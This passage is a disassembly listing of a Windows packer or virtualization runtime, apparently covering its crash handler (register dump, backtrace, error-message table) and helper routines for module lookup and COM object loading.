		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jnz	loc_41C2E5
		mov	eax, [ebp+var_30]
		cmp	eax, [ebp+var_1C]
		jnz	loc_41C2E5
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	2Eh
		push	[ebp+arg_0]
		call	sub_410810
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_41C2E5
		and	[ebp+var_30], 0


loc_41C240:				; CODE XREF: sub_41C106+16Bj
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		mov	byte ptr [ebp+var_40], al
		push	[ebp+var_40]
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		call	sub_41C0A8
		pop	ecx
		pop	ecx
		and	eax, 0Fh
		mov	ecx, [ebp+var_30]
		shl	ecx, 4
		or	eax, ecx
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_28]
		jnz	short loc_41C240
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jnz	short loc_41C2E5
		mov	[ebp+var_44], offset a_	; ".###"
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_48], eax


loc_41C288:				; CODE XREF: sub_41C106+1B4j
		mov	eax, [ebp+var_48]
		mov	al, [eax]
		mov	[ebp+var_49], al
		mov	ecx, [ebp+var_44]
		cmp	al, [ecx]
		jnz	short loc_41C2C2
		cmp	[ebp+var_49], 0
		jz	short loc_41C2BC
		mov	eax, [ebp+var_48]
		mov	al, [eax+1]
		mov	[ebp+var_4A], al
		mov	ecx, [ebp+var_44]
		cmp	al, [ecx+1]
		jnz	short loc_41C2C2
		add	[ebp+var_48], 2
		add	[ebp+var_44], 2
		cmp	[ebp+var_4A], 0
		jnz	short loc_41C288


loc_41C2BC:				; CODE XREF: sub_41C106+195j
		and	[ebp+var_50], 0
		jmp	short loc_41C2CA
; ---------------------------------------------------------------------------


loc_41C2C2:				; CODE XREF: sub_41C106+18Fj
					; sub_41C106+1A6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_50], eax


loc_41C2CA:				; CODE XREF: sub_41C106+1BAj
		mov	eax, [ebp+var_50]
		mov	[ebp+var_54], eax
		cmp	[ebp+var_54], 0
		jnz	short loc_41C2E5
		mov	eax, [ebp+var_30]
		mov	[ebp+var_58], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_58]
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C2E5:				; CODE XREF: sub_41C106+30j
					; sub_41C106+6Fj ...
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41C2F6
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_41C2F6:				; CODE XREF: sub_41C106+1E3j
		xor	eax, eax


loc_41C2F8:				; CODE XREF: sub_41C106+1DDj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C106	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C307	proc near		; CODE XREF: sub_411310+3EAp
		push	ebp
		mov	ebp, esp
		push	offset sub_41C317
		call	ds:dword_424710	; SetUnhandledExceptionFilter
		pop	ebp
		retn
sub_41C307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C317	proc near		; CODE XREF: sub_419529+20Bp
					; sub_419529+32Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	offset a__seh__0xXAt0x ; "__SEH__ 0x%x at 0x%x"
		call	sub_41BE16
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+98h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0BCh]
		push	offset aCs0x08xSs0x08x ; "CS :0x%08X SS	:0x%08X	DS :0x%08X"
		call	sub_41BE16
		add	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+8Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+90h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+94h]
		push	offset aEs0x08xFs0x08x ; "ES :0x%08X FS	:0x%08X	GS :0x%08X"
		call	sub_41BE16
		add	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		push	offset aEax0x08xEdx0x0 ; "EAX:0x%08X EDX:0x%08X	ECX:0x%08X"
		call	sub_41BE16
		add	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		push	offset aEsp0x08xEbp0x0 ; "ESP:0x%08X EBP:0x%08X	EIP:0x%08X"
		call	sub_41BE16
		add	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		push	offset aEsi0x08xEdi0x0 ; "ESI:0x%08X EDI:0x%08X"
		call	sub_41BE16
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		call	sub_41C87E
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, 11000000h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 16h
		ja	loc_41C557
		mov	eax, [ebp+var_8]
		jmp	ds:off_41C587[eax*4]


loc_41C47E:				; DATA XREF: _3:off_41C587o
		mov	[ebp+var_4], offset aAssertionFaile ; "ASSERTION FAILED"
		jmp	loc_41C557
; ---------------------------------------------------------------------------


loc_41C48A:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C58Bo
		mov	[ebp+var_4], offset aHasNoAccessToE ; "HAS NO ACCESS TO	EXECUTABLE"
		jmp	loc_41C557
; ---------------------------------------------------------------------------


loc_41C496:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C58Fo
		mov	[ebp+var_4], offset aExecutableIsNo ; "EXECUTABLE IS NOT NT IMAGE"
		jmp	loc_41C557
; ---------------------------------------------------------------------------


loc_41C4A2:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5B7o
		mov	[ebp+var_4], offset aDynamicLibrary ; "DYNAMIC LIBRARY IS NOT NT IMAGE"
		jmp	loc_41C557
; ---------------------------------------------------------------------------


loc_41C4AE:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C593o
		mov	[ebp+var_4], offset aExecutableCorr ; "EXECUTABLE CORRUPTED"
		jmp	loc_41C557
; ---------------------------------------------------------------------------


loc_41C4BA:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C597o
		mov	[ebp+var_4], offset aPathIsVeryLong ; "PATH IS VERY LONG"
		jmp	loc_41C557
; ---------------------------------------------------------------------------


loc_41C4C6:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C59Bo
		mov	[ebp+var_4], offset aCouldNotOpenBo ; "COULD NOT OPEN BOXFILE"
		jmp	loc_41C557
; ---------------------------------------------------------------------------


loc_41C4D2:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C59Fo
		mov	[ebp+var_4], offset aReadBoxfileErr ; "READ BOXFILE ERROR"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C4DB:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5A3o
		mov	[ebp+var_4], offset aBoxfileCorrupt ; "BOXFILE CORRUPTED"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C4E4:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5A7o
		mov	[ebp+var_4], offset aFeatureIsNotIm ; "FEATURE IS NOT IMPLEMENTED"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C4ED:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5ABo
		mov	[ebp+var_4], offset aOutOfMemory ; "OUT	OF MEMORY"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C4F6:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5AFo
		mov	[ebp+var_4], offset aWrappersTableB ; "WRAPPERS	TABLE BROKEN"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C4FF:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5B3o
		mov	[ebp+var_4], offset aVirtualprote_0 ; "VIRTUALPROTECT BROKEN"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C508:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5BBo
		mov	[ebp+var_4], offset aCouldNotCreate ; "COULD NOT CREATE	HEAP"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C511:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5BFo
		mov	[ebp+var_4], offset aHeapCorrupted ; "HEAP CORRUPTED"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C51A:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5C7o
		mov	[ebp+var_4], offset aDllCorrupted ; "DLL CORRUPTED"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C523:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5D7o
		mov	[ebp+var_4], offset aInvalidCompres ; "INVALID COMPRESSION/ENCRYPTION ALGORITH"...
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C52C:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5C3o
		mov	[ebp+var_4], offset aPackedDllOrBox ; "PACKED DLL OR BOXFILE CORRUPTED"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C535:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5CBo
		mov	[ebp+var_4], offset aHookingDllErro ; "HOOKING DLL ERROR"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C53E:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5CFo
		mov	[ebp+var_4], offset aGetmodulenameE ; "GetModuleName ERROR"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C547:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5D3o
		mov	[ebp+var_4], offset aBadFuulname ; "BAD	FUULNAME"
		jmp	short loc_41C557
; ---------------------------------------------------------------------------


loc_41C550:				; CODE XREF: sub_41C317+160j
					; DATA XREF: _3:0041C5DFo
		mov	[ebp+var_4], offset aInvalidDllRelo ; "INVALID DLL RELOCATION"


loc_41C557:				; CODE XREF: sub_41C317+157j
					; sub_41C317+160j ...
		cmp	[ebp+var_4], 0
		jz	short loc_41C57C
		push	0
		push	0
		call	ds:dword_424744	; ChangeDisplaySettingsA
		push	10h
		push	ds:off_4214EC
		push	[ebp+var_4]
		push	0
		call	ds:dword_424750	; MessageBoxA
		jmp	short loc_41C580
; ---------------------------------------------------------------------------


loc_41C57C:				; CODE XREF: sub_41C317+244j
		xor	eax, eax
		jmp	short locret_41C583
; ---------------------------------------------------------------------------


loc_41C580:				; CODE XREF: sub_41C317+263j
		push	1
		pop	eax

locret_41C583:				; CODE XREF: sub_41C317+267j
		leave
		retn	4
sub_41C317	endp

; ---------------------------------------------------------------------------
off_41C587	dd offset loc_41C47E	; DATA XREF: sub_41C317+160r
		dd offset loc_41C48A
		dd offset loc_41C496
		dd offset loc_41C4AE
		dd offset loc_41C4BA
		dd offset loc_41C4C6
		dd offset loc_41C4D2
		dd offset loc_41C4DB
		dd offset loc_41C4E4
		dd offset loc_41C4ED
		dd offset loc_41C4F6
		dd offset loc_41C4FF
		dd offset loc_41C4A2
		dd offset loc_41C508
		dd offset loc_41C511
		dd offset loc_41C52C
		dd offset loc_41C51A
		dd offset loc_41C535
		dd offset loc_41C53E
		dd offset loc_41C547
		dd offset loc_41C523
		dd offset loc_41C557
		dd offset loc_41C550

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C5E3	proc near		; CODE XREF: sub_41C87E+40p
					; sub_41C87E+83p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421548
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, offset dword_4289F0
		test	eax, eax
		jnz	short loc_41C61E
		mov	eax, offset aBroken ; "!broken!"
		jmp	loc_41C6F6
; ---------------------------------------------------------------------------


loc_41C61E:				; CODE XREF: sub_41C5E3+2Fj
		mov	ecx, 100h
		xor	eax, eax
		mov	edi, offset dword_4289F0
		rep stosd
		and	[ebp+var_4], 0
		push	1Ch
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_424730	; VirtualQuery
		test	eax, eax
		jnz	short loc_41C668
		push	offset a0x08xUnknownUn ; "0x%08x:[unknown]:unknown"
		push	offset dword_4289F0
		call	ds:dword_424754	; wsprintfA
		pop	ecx
		pop	ecx
		mov	[ebp+var_44], offset dword_4289F0
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_44]
		jmp	loc_41C6F6
; ---------------------------------------------------------------------------


loc_41C668:				; CODE XREF: sub_41C5E3+5Ej
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C7DF
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_24], 0
		and	[ebp+var_1C], 0
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C705
		add	esp, 10h
		cmp	[ebp+var_20], 0
		jnz	short loc_41C6A1
		mov	[ebp+var_20], offset aUnknown ;	"unknown"


loc_41C6A1:				; CODE XREF: sub_41C5E3+B5j
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+var_20]
		push	[ebp+arg_0]
		push	offset a0x08xS03x08x ; "0x%08x:[%s]:(%03x:%08x)"
		push	offset dword_4289F0
		call	ds:dword_424754	; wsprintfA
		add	esp, 18h
		mov	[ebp+var_48], offset dword_4289F0
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_48]
		jmp	short loc_41C6F6
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+arg_0]
		push	offset aBroken0x08x ; "!broken!0x%08x:"
		push	offset dword_4289F0
		call	ds:dword_424754	; wsprintfA
		add	esp, 0Ch
		mov	eax, offset dword_4289F0


loc_41C6F6:				; CODE XREF: sub_41C5E3+36j
					; sub_41C5E3+80j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C5E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C705	proc near		; CODE XREF: sub_41C5E3+A9p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+4]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		sub	ecx, [eax+4]
		mov	[ebp+var_C], ecx
		and	[ebp+var_4], 0
		jmp	short loc_41C748
; ---------------------------------------------------------------------------


loc_41C741:				; CODE XREF: sub_41C705:loc_41C7D5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41C748:				; CODE XREF: sub_41C705+3Aj
		mov	eax, [ebp+var_10]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_4], eax
		jnb	loc_41C7DA
		mov	eax, [ebp+var_4]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+eax+0Ch]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		imul	ecx, 28h
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+var_8]
		mov	eax, [edx+eax+10h]
		cmp	eax, [esi+ecx+8]
		jbe	short loc_41C796
		mov	eax, [ebp+var_4]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+eax+10h]
		mov	[ebp+var_1C], eax
		jmp	short loc_41C7A6
; ---------------------------------------------------------------------------


loc_41C796:				; CODE XREF: sub_41C705+7Dj
		mov	eax, [ebp+var_4]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_1C], eax


loc_41C7A6:				; CODE XREF: sub_41C705+8Fj
		mov	eax, [ebp+var_18]
		add	eax, [ebp+var_1C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_18]
		jb	short loc_41C7D5
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_14]
		jnb	short loc_41C7D5
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	short loc_41C7DA
; ---------------------------------------------------------------------------


loc_41C7D5:				; CODE XREF: sub_41C705+B0j
					; sub_41C705+B8j
		jmp	loc_41C741
; ---------------------------------------------------------------------------


loc_41C7DA:				; CODE XREF: sub_41C705+4Dj
					; sub_41C705+CEj
		xor	al, al
		pop	esi
		leave
		retn
sub_41C705	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7DF	proc near		; CODE XREF: sub_41C5E3+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, offset dword_428DF0
		rep stosd
		push	104h
		push	offset dword_428DF0
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		call	ds:dword_424694	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41C80F
		xor	eax, eax
		jmp	short loc_41C87B
; ---------------------------------------------------------------------------


loc_41C80F:				; CODE XREF: sub_41C7DF+2Aj
		push	5Ch
		push	offset dword_428DF0
		call	sub_4105C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41C82C
		mov	eax, [ebp+var_4]
		inc	eax
		jmp	short loc_41C87B
; ---------------------------------------------------------------------------


loc_41C82C:				; CODE XREF: sub_41C7DF+45j
		mov	edi, offset dword_428DF0
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	50h
		pop	eax
		cmp	eax, ecx
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41C876
		mov	eax, [ebp+var_8]
		mov	ds:byte_428DA0[eax], 2Eh
		mov	eax, [ebp+var_8]
		mov	ds:byte_428DA1[eax], 2Eh
		mov	eax, [ebp+var_8]
		mov	ds:byte_428DA2[eax], 2Eh
		mov	eax, [ebp+var_8]
		lea	eax, byte_428DA0[eax]
		jmp	short loc_41C87B
; ---------------------------------------------------------------------------


loc_41C876:				; CODE XREF: sub_41C7DF+6Cj
		mov	eax, offset dword_428DF0


loc_41C87B:				; CODE XREF: sub_41C7DF+2Ej
					; sub_41C7DF+4Bj ...
		pop	edi
		leave
		retn
sub_41C7DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C87E	proc near		; CODE XREF: sub_41C317+132p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421558
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	offset aBacktrace ; "--	backtrace --"
		call	sub_41BE16
		pop	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		call	sub_41C5E3
		pop	ecx
		push	eax
		push	offset aS	; "   %s"
		call	sub_41BE16
		pop	ecx
		pop	ecx
		and	[ebp+var_20], 0
		jmp	short loc_41C8E6
; ---------------------------------------------------------------------------


loc_41C8D7:				; CODE XREF: sub_41C87E+96j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax


loc_41C8E6:				; CODE XREF: sub_41C87E+57j
		cmp	[ebp+var_20], 40h
		jnb	short loc_41C916
		cmp	[ebp+var_1C], 0
		jz	short loc_41C916
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41C916
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		call	sub_41C5E3
		pop	ecx
		push	eax
		push	offset aS	; "   %s"
		call	sub_41BE16
		pop	ecx
		pop	ecx
		jmp	short loc_41C8D7
; ---------------------------------------------------------------------------


loc_41C916:				; CODE XREF: sub_41C87E+6Cj
					; sub_41C87E+72j ...
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41C932
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		push	offset a___OpssBrokenB ; "   ... opss, broken by SEH"
		call	sub_41BE16
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh


loc_41C932:				; CODE XREF: sub_41C87E+9Cj
		push	offset aStack	; "--stack--"
		call	sub_41BE16
		pop	ecx
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 1
		and	[ebp+var_24], 0
		jmp	short loc_41C957
; ---------------------------------------------------------------------------


loc_41C950:				; CODE XREF: sub_41C87E+10Fj
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax


loc_41C957:				; CODE XREF: sub_41C87E+D0j
		cmp	[ebp+var_24], 8
		jnb	short loc_41C98F
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax]
		push	[ebp+var_1C]
		push	offset a0x08x0x08x0x08 ; "0x%08x: 0x%08x 0x%08x	0x%08x 0x%08x"
		call	sub_41BE16
		add	esp, 18h
		mov	eax, [ebp+var_1C]
		add	eax, 10h
		mov	[ebp+var_1C], eax
		jmp	short loc_41C950
; ---------------------------------------------------------------------------


loc_41C98F:				; CODE XREF: sub_41C87E+DDj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41C9AB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		push	offset a___OpssBrokenB ; "   ... opss, broken by SEH"
		call	sub_41BE16
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh


loc_41C9AB:				; CODE XREF: sub_41C87E+115j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C87E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9BA	proc near		; CODE XREF: sub_41365E+64p
					; sub_41553D+249p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		inc	ecx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		leave
		retn
sub_41C9BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA0F	proc near		; CODE XREF: sub_41CAA3+1Fp
					; sub_41CF9E+40p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		and	eax, 1
		test	eax, eax
		jnz	short loc_41CA26
		mov	eax, 80004005h
		jmp	short locret_41CAA1
; ---------------------------------------------------------------------------


loc_41CA26:				; CODE XREF: sub_41CA0F+Ej
		push	[ebp+arg_0]
		call	sub_416BE0
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41CA9C
		push	8
		pop	edx
		mov	ecx, [ebp+var_4]
		call	sub_419995
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41CA5C
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax], 80004005h
		mov	eax, 80004005h
		jmp	short locret_41CAA1
; ---------------------------------------------------------------------------


loc_41CA5C:				; CODE XREF: sub_41CA0F+3Bj
		and	[ebp+var_C], 0
		push	offset aDllgetclassobj ; "DllGetClassObject"
		push	[ebp+var_8]
		call	ds:dword_4246A8	; GetProcAddress
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41CA87
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax], 80004005h
		mov	eax, 80004005h
		jmp	short locret_41CAA1
; ---------------------------------------------------------------------------


loc_41CA87:				; CODE XREF: sub_41CA0F+66j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	[ebp+var_C]
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax
		xor	eax, eax
		jmp	short locret_41CAA1
; ---------------------------------------------------------------------------


loc_41CA9C:				; CODE XREF: sub_41CA0F+27j
		mov	eax, 80004005h

locret_41CAA1:				; CODE XREF: sub_41CA0F+15j
					; sub_41CA0F+4Bj ...
		leave
		retn
sub_41CA0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAA3	proc near		; CODE XREF: sub_41CBF6+53p
					; sub_41CE67+43p

